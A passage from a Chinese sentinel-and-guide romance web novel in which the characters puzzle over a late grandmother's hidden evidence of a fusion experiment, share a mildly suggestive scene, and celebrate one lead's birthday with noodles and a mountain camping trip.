也因此,靠着精神体白云作为连接,张先生通过信件请求逄甯代办一些自己所无法办理的事情。 项目可以说是彻底失败了。 但闻璱有些没想明白的地方。 譬如,在张律师的讲述中,项目失败后,父亲还安然无恙地返回家庭了许多年,直到火灾发生。 然而,书信和逄甯的日记都显示,张先生在观察期内就被移入疗养中心,此后长期接受治疗,并没有这个回家照顾家庭的经历。 这就很有说法了。 想来张先生和希冕创辉一定曾有过约定,如果张律师遭遇不测,希冕创辉将代为照管张律师的家人。 看来这照管的方法还挺特别,凭空出现了另一个“张律师的好爸爸”,并在几年后被烧成了碳。 逄婆婆显然也在查找张律师的过程中发现了这对不上的账本,所以她将保留的照片原件偷偷放进了张律师的邮箱,吸引张律师来主动调查这件事。 原因也很简单,她时日无多了。 已经割舍了三十多年的精神体,突然跨越千里找回她,逄婆婆意识到这只有一种可能,那就是自己将要走到生命的尽头。 日记的最后一页,逄婆婆在上面写道,她保存下了一样至关重要的证据,并不在坟墓中,希望读到这本日记的人,没有错过她给出的线索。 大概在她的计画中,这个人应该是张律师,而非她看着长大的闻璱和逄靥星。 通读过后,大家都陷入了久久的沉默。 好复杂的故事——弓铮皎发表评价:“我父亲真是魔怔了。” 逄靥星则道:“证据在哪?怎么也没个线索什么的,就硬找吗?” 如今倒是不用违背祖宗决定,把坟墓挖开查找遗物,因为这个“证据”的坐标再次遗失了。 闻璱却沉思着,突然转头问弓铮皎:“你觉得会是什么证据?” 弓铮皎看了一眼逄靥星,又看闻璱,有点迟疑:“我能说吗?很大胆的那种。” “可以。” “嗯,好吧,只是我的想法,没有冒犯婆婆的意思。”弓铮皎缓缓道:“如果是我,想要留下一样东西,既可以作为这种手术的‘证据’而存在,还能保存十几年甚至更久,并且有办法让它埋在山里不被降解、仍然能够提取出DNA的话,我想……” “可能会是一根手指、或者一只耳朵,拟态融合之后的,通过特殊处理,能够维持很长时间。” 有什么可以作为违规实验的证据,并且足 够强力?当然是受试者本人的存在。 “你、你说什么?”不等闻璱有反应,逄靥星先失声道。 闻璱看着弓铮皎,肯定了他的猜测:“婆婆去世前几个月,某次不慎割下了自己一根小拇指,后来,她就搬到我家去住了。” 而那根被割下的小拇指的去处,想来当年没有人太过在意,大家都认为这不过是一场意外。 时过境迁,无论是闻璱还是逄靥星,都试图从记忆中挖掘出一线踪迹。 逄婆婆身上发生这样的意外,闻璱和逄靥星都请假回家探望,那时已经恢复记忆的婆婆有任何的异样,或是试图向他们传达任何信息吗? 闻璱记不清了。 逄靥星却隐约记得,那时婆婆总是把更多的目光放在闻璱身上,时常关心闻璱的身体健康。 或许从那时起,她才发现原来闻璱也和她有类似的情况,只是实验看起来并不算是很完满的选择,她也只能期望闻璱不会像她曾经一样被融合的反应困扰。 正商议着,恰好闻母吃完饭,给逄靥星和闻璱发消息来,让他们去接人。 她还记得自己现在的人设是不小心跌伤了脚腕,在到处都是湿地公园工作人员的餐厅吃完饭,可不敢自己大摇大摆地走回停车场。 闻璱和逄靥星对视一眼,闻璱说:“我去接她。” 顿了顿,他又道:“别告诉妈妈。” “嗯。” 等闻母回来,果然无人提起任何事,就连闻母询问文档袋里遗物等内容,也被逄靥星藉口挡过了。 闻母也品出氛围微妙,但终究什么也没说,装作对此毫不关心的样子。 下午虽说是不再需要把坟墓起开检查随葬遗物了,几人却还是上山给逄婆婆扫了个墓。 闻璱凝视着墓碑上贴着的那张逄婆婆晚年的照片,心里有种莫名的不安。 事情沉甸甸地压在几人心头,没人笑得出来,唯一对逄婆婆没有复杂感情的弓铮皎也顾及闻璱的心情,一脸沉痛,彷佛曾经和逄婆婆也有过深厚情谊一般。 回程时,阴了一整天的云终于降下雨来,闻母一踩油门,趁着雨势不大早早开回了家。 几人各自回屋洗漱,闻璱忙完之后,带着一把椅子推开了弓铮皎的房间门。 恰好遇见弓铮皎从浴室里出来。 弓大菩萨刚洗完澡,头发都没擦干,浑身上下就腰间裹了一条浴巾,上半身的漂亮肌肉好大方地露出来。 见闻璱不请自来,他整颗头连同脖颈、胸口都染上一片绯红,连忙随手扯了件放在枕边的衣服潦草套上。 这场景总感觉有点熟悉。 不,不只是熟悉,简直是一比一复刻——闻璱记得,弓铮皎曾经在自己的宿舍偷偷穿自己的衣服被抓包时,也是这样。 但这回,闻璱醍醐灌顶地想到了什么。 他眯了眯眼睛,把椅子放在房间最中间,毫不客气地坐下,目光也毫不委婉地打量着弓铮皎身上的那件衣服。 嗯,如果闻璱没记错的话,这是去酒庄参加宫董生日宴会那天,闻璱穿的那一身其中的里衬。 不得不承认,那件里衬材质很特别,穿上确实是轻薄又舒适,且美观,是一件既华且实的好衣服。 唯一的缺点或许就是有些微透——也因为这个缘故,那时弓铮皎让闻璱在外面又套了一件外套。 而现在,这件衣服被弓铮皎放在床头,看起来像是清洗之后成了弓铮皎的睡衣?或者是某种助眠的安抚物? 闻璱的目光如有实质,弓铮皎被他的目光洗礼之后,肉眼可见地浑身都开始升温。 又正巧那件衣服本就微透,穿在身体尚未完全擦干的弓铮皎身上,布料被水汽微微湿润,显得更是半遮半露,轻薄的衣服愈发勾勒出他的每一块肌肉轮廓、线条,和不该起立的某些地方,欲迎还拒一般。 但他一边窘迫,一边还是装作自然地袒露自己的身体,让闻璱随意欣赏,反正这本来就是—— 闻璱突然问:“别装了,你怎么可能没听到我的动静?” 弓铮皎被揭穿也不害臊,大言不惭道:“怕你不开心,我想找个由头安慰一下你……” 或许是用漂亮的□□,或许是用这种很容易揭穿的计策,让闻璱有由头再收拾他两顿撒气,顺便满足自己。 但闻璱道:“我是说上次。” “上次,在我宿舍,你怎么可能没听到我要打开洗手间门的声音?” 弓铮皎哑火了。 “原来那也是个‘由头’,是吗?” 闻璱曾经以为,弓铮皎确实有些心机,但不多。 他会心机地偷偷保留自己的东西,以前是餐具,后来是衣服,也会故意展露一些小尾巴等着自己抓住,以便示弱装可怜。 但之前在宿舍弓铮皎换衣服的事,闻璱一直以为是自己撞破了弓铮皎的小九九,但如今想来——连这一点都应该是弓铮皎故意的才对。 真是居心叵测。 居然还敢倒打一耙,把一切说成是自己的问题……虽然闻璱还没完全想清楚这件事。 既然如此,闻璱觉得,自己如果不做点什么S得彻头彻尾、从里到外、不开玩笑的事,简直对不起这顶帽子。 也正好试一试。 闻璱微微一笑,脚尖轻轻点了点地板,翘起了二郎腿。 “过来跪下,好吗?” 80-90 第81章 隐忍、隐忍……忍无可忍! 弓铮皎简直被这话说得脊椎窜上来一阵麻痹感。 明明前半句话那么不客气了,后半句话还要接上一个“好吗”,好像真的在征求自己的意见一样。 好像。 如果换了别人拿出这份前后矛盾的态度,弓铮皎下一秒就要把对方的头拧下来当球踢。 偏偏说话的人声音那么好听,语气那么温柔……偏偏说话的人是闻璱。 他几乎没有犹豫地就在闻璱面前蹲下,单膝着地,另一只膝盖缓缓落下之前,却被闻璱用右脚轻轻踩住。 “这样就好。”闻璱若有若无地晃了晃弓铮皎的膝盖,“这样比较好看。” 姿势更好看,闻璱更能欣赏这样更干练的姿势,也并不显得落差感那么强。 而且,双膝着地时,弓铮皎弯弯腰,就能一定程度上逃避视线的审视,单膝蹲跪却更无所遁形些。 闻璱就这样直白地袒露意图,几乎立刻就看到弓铮皎的脸上浮起难为情的薄红。 他饶有兴致地欣赏着,干脆把左脚也踩在弓铮皎着地的大腿上。 果不其然,就像之前每一次一样,弓铮皎把肌肉绷得硬邦邦地,彷佛是在健身房做力量训练。 还是那么爱装。 但弓铮皎也一直很懂得奖励自己。 他抬手握住闻璱的小腿,顺着肌肉的线条一路上滑,最终停留在膝窝。 即便闻璱身上没有什么痒痒肉,被搔动这个部位时,也难免有些敏感地瘙痒。 闻璱几不可闻地缩了一下,弓铮皎便俯下身去,双眸微垂,在他膝盖上印下一个很纯洁的吻。 待得弓铮皎起身时,闻璱毫不意外地看到了刚才他说想要看见的变化。 真有意思。 闻璱有一下没一下地晃着弓铮皎的膝盖,除此之外什么也没做。 浴室的水汽逸散出来,让房间中的温度和湿度一并攀升,又因空气不那么流通,若有若无的向导素逸散出来,浓度越来越高,熏得弓铮皎脸色越来越红。 弓铮皎分不清那究竟是闻璱的有意为之,还是自己又开始代偿。 无论如何,他只知道,他可不舍得放弃现在这么好的机会,去拿一管护手霜来解所谓的“燃眉之急”。 他咬了咬牙,一开始还想勉强维持住正经的姿态,虽然这姿势已然十分低俗瑟琴,表情好歹要认真。 隐忍、隐忍……忍无可忍! 弓铮皎甚至喉咙微哑地咳了一声,干脆凑上来,一脑袋埋在闻璱的膝头。 动作之间,不免让闻璱的脚也从他大腿上,转移到了硬邦邦的腹肌上——他故意的。 脆弱的腹部是猫科动物的禁区,老虎更不例外,弓铮皎这个刃齿虎融合派哨兵的腹部当然格外敏感——连同胸肌,也练得格外漂亮。 让闻璱踩在这里,既能开屏,也能顺便遮掩一下自己的情况。 只可惜,在闻璱面前耍小聪明,只会迎接更加残忍的揭穿。 闻璱动了动腿,没能晃开膝头那颗滚烫的脑袋,只能伸手去捏绕了绕弓铮皎的一缕头发。 他的发丝还没擦干,被越发高的体温蒸腾得潮热,绕在闻璱的指间像被打湿的而弓铮皎更是打蛇上棍,得了手便不肯放下,用脸颊和自己的手柄闻璱的手夹在其中。 没两分钟,就捂得闻璱半只手臂都热了起来。 闻璱便顺势捏了捏他的脸:“又在奖励自己。” 弓铮皎黏在闻璱膝头,这一回,也不反驳解释了,老实地承认下来:“嗯。” 他能恃宠而骄发这些疯,还不是因为有闻璱的默许。 闻璱便轻轻碾了碾他的腹肌,好叫他展露得更坦诚些。 或许对于弓铮皎来说还是太超过了,又或许这反而是助长某种隐秘兴奋的魔药。 弓铮皎干脆掩耳盗铃地闭上眼,埋在闻璱掌心的嘴唇翕动:“是你太S……太色了。” 很生硬地改口,但闻璱没有纠结他的字眼,只是眉头微挑:“倒打一耙。” “是真的。”弓铮皎含糊道,“你想要做点什么的时候,就会这样抬起下巴制造高度差,再居高临下地看着我……你不知道你这样的时候有多那个。” 闻言,闻璱倒是认真地一怔。 连他自己都没有注意过自己还有这样的习惯,并且此时此刻的状态,确实就像弓铮皎说的那样。 他细细回想,不知道弓铮皎是从什么时候开始注意到了这一点,又是怎样三番五次地暗自揣摩品味,就忍不住道:“你真是……” 不过最终还是没说出口。 于是,旖旎的场景彷佛就这样被按下音频的暂停键,但画面仍然静静地播放,如流水。 闻璱不说,弓铮皎就不会再做什么更进一步。 但氛围如此暧昧,闻璱只要不泼冷水,就足矣弓铮皎继续兴奋很长时间。 ……或许对身体不太好。 闻璱抬手,把弓铮皎的脑袋从自己腿上拔了起来。 他还是被弓铮皎按着手,便顺势把弓铮皎的脸扯到自己面前,拉得弓铮皎不得不站起身,却仍然弯着腰掩饰自己。 弓铮皎把另一只手搭在闻璱的椅背上,用臂弯和身体形成了包围圈,把闻璱揽在怀中一般。 小心思还是那么多。 说时迟那时慢——客观意义上的很慢,且对于弓铮皎的反应来说,更是慢得令人发指。 闻璱偏过头,咬了一口弓铮皎的手臂。 也不知为何,这看起来并不用力的一口,居然像是麻药镇定剂一样,先是一阵酸麻的微痛,隐约有一道热流飞快地窜遍弓铮皎全身。 他低头一看,手臂上两排细密的弧形牙印,完全没有消失的意思,倒是渗出一丝血色。 而世俗的欲望突然间完全消失了,此刻他心如止水,只想躺在床上睡一觉。 闻璱也是这么说的:“好了,忙了一整天了,睡觉吧。” 他说完,轻轻推开弓铮皎的手臂,转身就打算离开。 就好像什么都没发生过一样。 弓铮皎目瞪口呆,连忙拉住他:“等等,这——” 他指了指自己,虽然有更直观的东西可以指,但他总觉得那太低俗。 闻璱却毫不避讳地看过他不愿直说的部位:“向导素的妙用而已,这是真的,你不用尝试神经元信息仿真。” 所以,刚刚那是一个临时标记,比互饮眼泪更亲密的那种,也是刻板印象里,恋爱中、准备结婚的哨兵向导之间才会进行的那种标记。 弓铮皎心里一跳。 他不知道这是不是一个信号。 但很快,闻璱就理直气壮地说:“今天才刚扫完墓。” 弓铮皎:“……” 好的,他现在知道了。 后半句话肯定是:放尊重点。 弓铮皎鸡如死灰,彻底缴械投降:“好,好,明白了,我这就睡觉,心无杂念的那种。” 放在以前,弓铮皎肯定不敢夸下这种海口,因为梦到什么可不是他自己能决定的。 但现在,弓铮皎感觉自己就跟被无痛绝育了一样,确实是想有杂念也难。 似乎听出他的言下之意,闻璱微微一笑,并不解释。 弓铮皎显然误会了这个标记真正的“妙用”之处。 然而,确实如弓铮皎所想,闻璱觉得现在只需要一个信号足矣,至于真正的妙用……倒是可以留着,等以后给弓铮皎一个惊喜…… 闻璱花了好几天来研究柳部长送来的那枚注射器。 他当然不会冒险到在自己身上试验,不像弓铮皎能说出这种烧话,闻璱连想都不会这样想。 可是芯片里的门道注定不是靠肉眼硬看能看得出来的,哪怕换了弓铮皎的视力也不行。 他当然也给柳部长发去了消息,当场就显示对面“正在说话中”,结果好半天过去,也没有语音消息发来,摆明了是故意不回覆。 一连多日毫无头绪,反而让闻璱有些跑偏地联想到:总不能这是什么罪证,用来钓鱼执法地诬陷自己? 如果真是如此,那这东西就是个烫手山芋了。 但闻璱又总觉得,柳部长虽然小心眼、神经质、爱说谜语、还是个课题小偷,心却没有黑到这个地步。 柳部长似乎在引导他做什么,但究竟是什么呢?难道真有人认为,他会把这种来路不明的东西用在弓铮皎身上? 事情还没能琢磨出个眉目,好在天上拨云见日,结束了接连几天的暴雨。 放晴之后没两天,逄靥星就琢磨着要上山去找逄婆婆留下的证物了。 闻璱有些惊讶:“你怎么找?” 逄靥星答道:“地毯式搜索呗,我体力好,没问题的,而且我夜里偷偷上山去找,会很小心不被发现的。” 闻璱:“……” 他不知道哨兵是不是都这么叛逆,上次说要去採样时,弓铮皎也是脱口而出一句“偷渡”。 这有些无语的目光被逄靥星接收到,逄靥星很是不服气:“怎么了?确实不那么合规,但我们不也是没办法了吗?再说了,挖保险箱的时候你们打配合,反应一个比一个快,也没见你较真过。” 闻璱却伸出两个手指,缓缓道:“第一,探测仪是机器,夜间也不会下班;第二,如果真有特种人巡逻,你一头大白熊,夜里上山,那不是比靶子还显眼吗?” 逄靥星:“……” 斗志昂扬的逄靥星蔫巴下来,萎靡不振道:“那你说怎么办,我只是搞不懂,你怎么一点都不着急的。” 一想到这可能和闻璱的病有关,逄靥星就一分钟都没法安心休息,结果闻璱本人完全不在意,真是皇上不急太监急了。 闻璱耐心道:“你有没有想过,婆婆为什么要把那个‘证据’和日记信件分开埋?如果她想要留给一个人,为什么不同样放在保险箱里,而是专门分开,又在日记里提醒?” “……因为‘证据’很大,保险箱放不下?”逄靥星迟疑道。 “……”闻璱道,“因为她已经把‘证据’的线索交给了她认为会解开这个秘密的人。” 所以这份‘证据’的关键,还在于张律师。 究竟是张律师对自己有所隐瞒,还是真的没能破译逄婆婆留下的这份线索?闻璱眼下也拿不准。 事到如今,除了再和张律师见一面,恐怕也没有更好的解决办法了。 逄靥星恍然大悟:“你知道是谁?” “大概。”闻璱没有给出肯定的回答,有些保守地说,“这件事还得细细打算。” 一方面,是酒庄坠楼的事故之后,张律师一直在希冕创辉监管的私人病房里,闻璱很难联系到他。 另一方面,还有一件更拿不准、不确定、微妙至极的事情,闻璱还没有想好该怎么处理。 谈话之间,小黑若有所觉,飞进闻璱的房间。 逄靥星试图摸摸,惨遭小黑用灵活的躲避表示婉拒。 它优雅地落在床上,在闻璱腿边把自己盘好——闻璱的洁癖也就能对精神体稍微网开半面了。 闻璱看着它,那份猜测又浮上心头。 那张糖纸,经过小黑的提醒,他们才注意到上面那张会“隐身”的速写。 理所当然地,弓铮皎和逄靥星没有多想,只认为这是某种特殊的墨水或涂层罢了,多亏细心的小黑发现。 只有闻璱留意着。 即便同为融合派特种人,闻璱和弓铮皎的作战偏好其实完全不同。 自然界的霸主猛兽精神体,让弓铮皎的作战模式更接近狩猎,也具有极强的领地意识,精于气味、声音的运用,当然也视力超群。 闻璱更善于钻研其它不那么锋芒毕露的手段。 也因此,对那张隐身速写所使用的“黑科技”,闻璱有其他看法。 或许那是用精神体的“血液”作为“笔”所绘制的,也就是以完全融合态放出的血。 因此,只有在同样的能够存在于现实波段的融合派特种人,才能让笔迹现形。 闻璱曾经做过类似的研究,对这种“奇技淫巧”还算是有些心得。 也因此,闻璱更琢磨不透了。 时至今日仍然能现形,也就是说精神体仍未失活,闻璱只能想到一种可能,这个张先生现在仍然活着。 这会是一份能够摆在谈判桌上的筹码吗? 而且的而且——抛开这一切不谈,最近还有一件暂时更重要的事情。 闻璱突然说:“你下周一能早点起床吗?” 逄靥星摸不着头脑:“可以是可以,怎么了?” “下周一是弓铮皎的生日。”闻璱说,“你早点起床,给他下一碗长寿面当早饭,然后我要带他上山玩。” 第82章 心想的事儿都能成。 逄靥星愤愤不平地退场了。 这一退就是好几天,他彻底赖在自己的房间里不出去,像是生了根。 弓铮皎和闻母都以为他是扫墓之后情绪上来了,需要时间消化,也不大打扰他。 直到周一早上,精力旺盛的弓铮皎早起干活,发现睡眼惺忪的逄靥星站在锅前打瞌睡。 弓铮皎早就听到他在楼下忙活的声音,站在厨房门口瞧了两眼,终于忍不住问:“你今天有事要忙?” “没有……”逄靥星还没回过神来,迷迷糊糊的话出了口,才反应过来这人是谁、自己是来做什么的。 他连忙改口:“不对,有!” 眼见着两句话的功夫,弓铮皎已经戴好手套准备出门了,逄靥星连忙把面出锅,追出来:“弓铮皎,你等一下!” 弓铮皎:? “你的早饭好了,闻璱专门让我给你做的。”逄靥星有些尴尬地补充了一句:“哦,对了,生日快乐哈。” 弓铮皎的动作停下,眼睛一点一点亮起来:“闻璱让你做的?” 他立刻摘下手套,还有一切干活才需要用到的装备,一阵旋风旋回了餐厅。 只见餐桌上赫然放着一个漂亮的碗,一朵小花从碗底蜿蜒伸向碗沿,逄靥星拿着个锅,正打算给他盛面。 弓铮皎看了两眼,转身就走。 “哎——”逄靥星茫然,“你不吃吗?我早起和的面,纯手工不预制,看起来很普通,但味道真的绝赞,放一会就燶了啊。” “马上就吃。”弓铮皎已经在楼梯上了,回过头来,带着一丝掩不住的笑意,“闻璱肯定醒了,我叫他下来陪我吃。” 他三步并作两步往上跑了几阶,又低头说:“谢谢。” 楼上的闻璱当然确实是醒着的,只不过才刚刚起床。 被弓铮皎敲开房间门时,闻璱的头发都还有些淩乱,意识也尚未完全清醒。 不过闻璱的脑子还是好用多了,也因为同样的事在不同人的心里地位不同,闻璱打开门便说:“生日快乐。” 话未说完,已经被扑过来的弓铮皎抱了个满怀。 一个未经申请,更不得许可的擅自拥抱,还锢得死紧,温度也滚烫。 闻璱几乎觉得,弓铮皎想要把自己从骨头的缝隙按进去,让自己成为被肋骨关起来的脏器。 随着意识渐渐回笼,那双下意识地按在弓铮皎两肋、本来打算推拒的手,最终只是指尖微微用力,描摹了一下前锯肌的线条。 隐隐约约之间,似乎能触摸到心跳。 闻璱又说了一遍:“嗯……生日快乐,弓铮皎。” 洗漱下楼之后,好巧不巧,逄靥星端着个碗,正狼吞虎咽地坐在餐桌前吃面。 他本来要回去补觉的,谁让弓铮皎的面一直放在那,勾引得逄靥星饿疾发作,用长寿面的边角料给自己也下了两口。 闻璱很慢地眨了眨眼,问他:“还有吗?” “够你吃。”逄靥星一边嚼一边说,非常之不文雅。 “给我也来一碗吧。”闻璱吩咐着,转身和逄靥星一起钻进厨房里。 很快,他拿着一个带盖的小碗出来,在逄靥星刚刚给他盛好的那碗清汤素面里,很大方地抬手就是几勺辣椒酱。 还没搅开,逄靥星就被呛得咳嗽起来,偏头一看,弓铮皎又是安然无恙,顿时心中生出一种无语的瞭然。 他加快速度吃完剩下几口,麻利地把碗端回厨房收拾了,麻利地回到房间,关门的动作也十分刻意。 于是,两碗面靠在一起,一碗清淡却有蛋有菜,依稀还露出碗底的小粉花,色彩缤纷;一碗则被红亮亮的辣椒酱覆盖,光看就让人心惊胃跳。 弓铮皎连忙拿出终端拍了两张。 闻璱静静地等他拍完,突然说:“其实你那个碗是我的,小时候我和逄靥星进城玩做的陶艺,我做了碗,他做了杯子,后后来放在家里,就成了我们俩的专用餐具。” 逄靥星专门用这个碗来盛面,抖了个还算合适的机灵。 “真的?”弓铮皎恨不得立刻把碗里的东西一口吃光,再好好欣赏。 他看着一圈一圈的面条挡住了太多,碗底那朵小粉花半遮半掩,格外可爱。 原来闻璱也知道自己粉色的眼睛很漂亮,从小就知道。 弓铮皎忍不住想哼点什么,一开始,是“今天是个好日子”的调,才哼完第二句,立刻就转成了“Happy birthday to you”。 闻璱:“……” 好低级、直白、不婉转的计谋。 但闻璱忍了。 “你想要什么?”他咽下一口面,轻声问。 “这个碗。”弓铮皎道。 “……”闻璱又失语了。 他还以为弓铮皎要打什么算盘,没想到就是这么朴实无华,就这样选择一个经济价值不高、背后也没有什么动人的故事,提供不了什么情绪价值的玩意。 闻璱并没有一口应下,反问他:“就那么喜欢?” “嗯,”弓铮皎坦然道,“就这么喜欢。” 顿了顿,他又补充道:“你这么洁癖,做陶艺会不会是你最隐忍的时候?” 一想到闻璱戴着手套、口罩,却仍然无法避免地沾上泥巴泥水,弓铮皎就觉得这未免太惹人恋爱。 而且…… “而且,我的餐具收藏,就差一个碗了。” 说这话时,弓铮皎颇有几分破罐子破摔的理直气壮。 闻璱险些被呛到,连忙抬手掩住自己咀嚼的动作,好半天,才道:“生日礼物?” “可以是。”弓铮皎美滋滋道。 “那看来,你不感兴趣我原本的准备了。”闻璱淡道。 弓铮皎:? 大概是闻璱之前那个“乡下条件不好”的预防针打得太有效,弓铮皎根本没想过闻璱居然还准备了生日礼物。 如果单纯地问他,会不会期待,答案当然是肯定的。 但闻璱说了,自己是个没什么仪式感的人,弓铮皎就愿意尊重他的生活习惯。 回过神来,弓铮皎立刻改口:“我超感兴趣!” “比起这个碗呢?如果一定要二选一呢?”闻璱故意问。 这对弓铮皎来说真是好难抉择。 他咬了咬牙,硬着头皮说:“但真的就只差一个碗了。” 其实现在他早就不需要靠这些东西来获取向导素了,所以这个“一套”,单纯的就只是在满足他收集闻璱用过的精致小垃圾的癖好而已。 闻璱轻轻笑了一下,语气中有几分促狭:“好好吃面吧。” 大寿星都哼“心想的事儿都能成”了,这点小要求当然不能不满足。 只不过,闻璱现在承认,他确实喜欢欣赏弓铮皎这幅样子,就像面上的那一层辣椒,食之实在美味。 这点无伤大雅的小情趣,他想,弓铮皎就算知道,也会配合的。 弓铮皎严格遵守食不言的规矩,快速把面吃完,汤饮尽,又勤劳地把两个碗都洗了,最后端着那个干净的碗出来。 还没等他开口问,闻璱把车钥匙丢进他怀里:“先去开车。” 当然就是在弓铮皎“帮助”下新提的那一辆越野,闻璱找闻母借了来。 不知何时,后备箱和后座都被填满了,户外电源、防水袋、GPS……还有一包很实在的帐篷。 一看就是要去露营。 弓铮皎顿时顾不上那个碗了,两眼发光:“这是我的生日礼物?那我选你准备的!” 闻璱还没回答,他已经自顾自地检查起装备来,对接下来行程的期待溢于言表。 他一边忙碌,一边念叨着就想旋过来把闻璱抱住:“小鹅,别怪我总是爱上你,要怪就怪你太——” “别闹。”闻璱制止他的发痴。 临出门前,弓铮皎跑去工厂的运输车那边,拆下来一个车载冰箱,安置在越野车上。 “很需要冰吗?”闻璱问他。 “嗯……也不全是,哼哼。”弓铮皎故弄玄虚,“等上山再说,我想这样做很久了。” 于是,大清早的,两个人开着越野车,一路往东山驶去。 路上还遇到了和邻居在街边侃天的闻母,闻璱还没跟她打招呼,弓铮皎先招了招手:“阿姨!” 闻母回过头来,见是两人,脸上便露出瞭然的笑意。 车在她身边停下,她把烟欲盖弥彰地背在身后,明知故问道:“这是要去哪?” 闻璱有些无奈:“去露营,你不是早就知道了吗?” “我知道吗?”闻母看向弓铮皎,“我只知道,前几天有人趁小饺早上干活的时候,悄悄在家里忙活,收拾这收拾那的。是谁呢?反正肯定不是我家小鹅。” 闻璱:“……” 即便弓铮皎早就有所猜测,听闻母亲口肯定这些话,仍然令他又是一番天灵盖起飞的明爽。 他也不收敛自己的表情,鼻尖和下巴都恨不得能翘到天上去,笑嘻嘻道:“是谁呢?反正肯定不是——” 话没来得及说完,不敢对闻母动手的闻璱对他可不会手软,狠狠拧了一把弓铮皎的大腿。 弓铮皎连忙正襟危坐:“那我们先走了!” 车驶出去很远,远到闻母已经变成后视镜里小小的一个影,弓铮皎的余光里,却还能看见那一抹显眼的绯红。 闻璱靠在车窗那边,偏过头看窗外十年如一日的风景,只留给弓铮皎雪白的后脑勺,和发丝里泛红的耳尖。 第83章 床照。 到山下时还很早,但山路不大好开,幸好闻璱对上山的路很熟悉。 “你上次不是问我,小时候,我和逄靥星来这里要走大半天,晚上怎么回去吗?”闻璱道,“我们在山上搭过一个小树屋,那时候,就在小树屋里过夜。” “那我们今天也去小树屋?”弓铮皎激动。 “不,我们睡车上,或者帐篷里。”闻璱果断拒绝,“那小屋多少年没搭理过了,不知道脏成什么样。” 闻璱可不想露营先花一整天时间来打扫卫生。 顿了顿,闻璱瞥了一眼弓铮皎微微耷拉的眉梢眼角,又道:“不过可以过去看一眼。” 满足一下弓铮皎的好奇心。 树屋有追溯童年的浪漫,帐篷能唤起污染区那时的记忆,车上这种密闭空间也别有一份暧昧,弓铮皎都很期待。 他想入非非,如在云端,脚上却不发飘,油门仍然踩得很稳。 然而不幸的是,两个孩子搭建起来的树屋不过是个很简陋的落脚点,没有任何记载。 闻璱只能凭藉着许多年前的记忆指路,他们在山上饶了好几圈,最终也没能找到树屋。 甚至也有可能,早在许多年前划定保护区时,就被合理拆除了。 弓铮皎果然有些失望,但顾忌着这种事情发生,大概闻璱的心里更难过,才不好显露在面上。 他不动声色地用余光打量闻璱,却发现闻璱竟然毫不避讳地舒出一口气。 “幸好没了。”闻璱坦然道,“否则一个无主的树屋就这样放在山上几年没人照料,不知道会成什么样。” 可能会被人类和动物的垃圾、排泄物制造成垃圾窝的,这才叫真正的幻灭,没看到 至少还能保留一份美好的想像。 弓铮皎:“……” 言之有理,他顿时也没有那么期待了。 下午时分,他们才返回闻璱理想的露营地,开阔、避风、远离坡地、没有碎石滑落风险。 午餐就是在车上啃了能量棒,按说这会该好好扎营、好好做饭,这也是露营的乐趣,至少闻璱以前和逄靥星在山上,逄靥星是很乐于折腾这些活动的。 然而,闻璱没什么做饭的欲望,弓铮皎不会做饭,两个人躲在阴凉里,只能又各自拿了根能量棒对付一下。 过生日的露营,却在山上啃能量棒,显得有些心酸。 但弓铮皎颇有种岁月静好的满足感,彷佛这一根能量棒下肚,就能把整片山头的野菜都挖个干干净净。 扎帐篷的时候,弓铮皎突然说:“我要把这片山头承包下来。” 闻璱:? 弓铮皎一本正经:“我觉得这可能会成为定情信物。” 闻璱:“……” 奔三的弓铮皎,永远幼稚,永远异想天开,也永远财大气粗。 闻璱没理会他的疯言疯语,自顾自收拾着手头的活。 安置营地这些活是野外生存必备的技能,在污染区执行过任务的特种人不可能不会,但弓铮皎自告奋勇承包这些重活,闻璱便心安理得地打下手,做些轻松的活。 等到帐篷扎好,桌椅睡袋、露营灯什么的都安置好,天色已经开始变暗。 弓铮皎成就感满满,拿终端在旁边360度摆拍,出片的决心可见一斑。 闻璱在车上放低了座椅,以防自己这个路人影响到照片效果。 弓铮皎欣赏了一会,又说:“你要是愿意出镜就好了。” 闻璱:? 弓铮皎看他有些莫名的神情,还以为这话太没分寸,惹得闻璱不开心了,连忙找补:“我就是说说。” 闻璱却道:“你拍我干什么?” 在闻璱的认知里,拍照,除了在污染区进行记录备案,就只能是为了拍摄风景。 而风景照就是风景照,任何一个路人的出现,都只会影响风景的氛围,需要专门P掉。 他不会想像有人或许就是想要暗搓搓地让他的一片衣角、一缕发丝入镜,不需要那么直白,委婉,反而更满足某人的扭曲的炫耀欲。 更不会明白,如果他愿意出镜,那一切的风景都可以为之让道。 弓铮皎竟被这问题问得一时语塞——拍闻璱干什么,当然是因为喜欢啊?还能是因为什么。 他张了张嘴,拿不准这话是否有什么深意,只能用最万能回答:“记录生活。” 但这话出了口,弓铮皎又忍不住过度解读,觉得这会不会有点不合适? 彷佛在说,他已经把闻璱当做生活的一部分。 就像是两根交叉的线,一根是他,一根是闻璱,纺织机开工,就这样把两段线性的生命纺成一片缤纷的布。 闻璱似乎一直很在意这件事,他对真正创建一段关系有很严格甚至苛刻的标准,边界感也格外强。 虽然弓铮皎觉得近来局势一片大好,没达到就是没达到,越界也仍然是越界。 还没来得及解释,闻璱就说:“那应该是你出镜吧。” 闻璱完全没想那么多。 同样朴素如闻璱对风景照的定义,对于用来“记录生活”的照片,闻璱理所当然地认为,那应该是想要拍下这张照片的人,将自己与某些值得记忆的画面同时定格。 闻璱推开车门下车,对弓铮皎伸出手:“终端给我。” 弓铮皎完全没想到会是这样的展开。 但对闻璱的顺从几乎已经成为他的本能,他把终端交到闻璱手里,自己往营地边走了几步,然后很干涩地比了一个耶。 ……感觉会是好土的一张游客照。 弓铮皎有些先见之明,却也忍不住因这张照片由闻璱所拍摄而心动。 他甚至觉得相机软件除了定位功能、实况功能,应该再附带一个“生物探测”功能,就这样把拍摄者的身份也同样记录在相册里。 确实是很土的一张游客照。 闻璱的拍照水平不大好,完全不能说是摄影,只能说是完成了按下快门的动作而已。 在他展示给弓铮皎看之前,自己先沉默了两秒钟,迟疑道:“要不重新再来一张……” 弓铮皎说:“没事。” 他已经兴奋地凑上来,看了一眼照片,自己也飞快地沉默了一小下。 闻璱不爱拍照,也没研究过拍照,这他早该知道的。 拍摄角度逆光,相机自动补了点光,但又没有补得恰到好处,以至于天光过曝了,看不出原本的颜色,弓铮皎的脸却还是发黑发灰,糊成一团。 但弓铮皎意外地萌生了个想法。 他灵机一动,说:“我调好光拍一张你,给你示范一下,你照着拍。” 闻璱若有所思地看了一眼他,没有戳破,大方地走到弓铮皎刚才站着的位置,比了一个一模一样的耶。 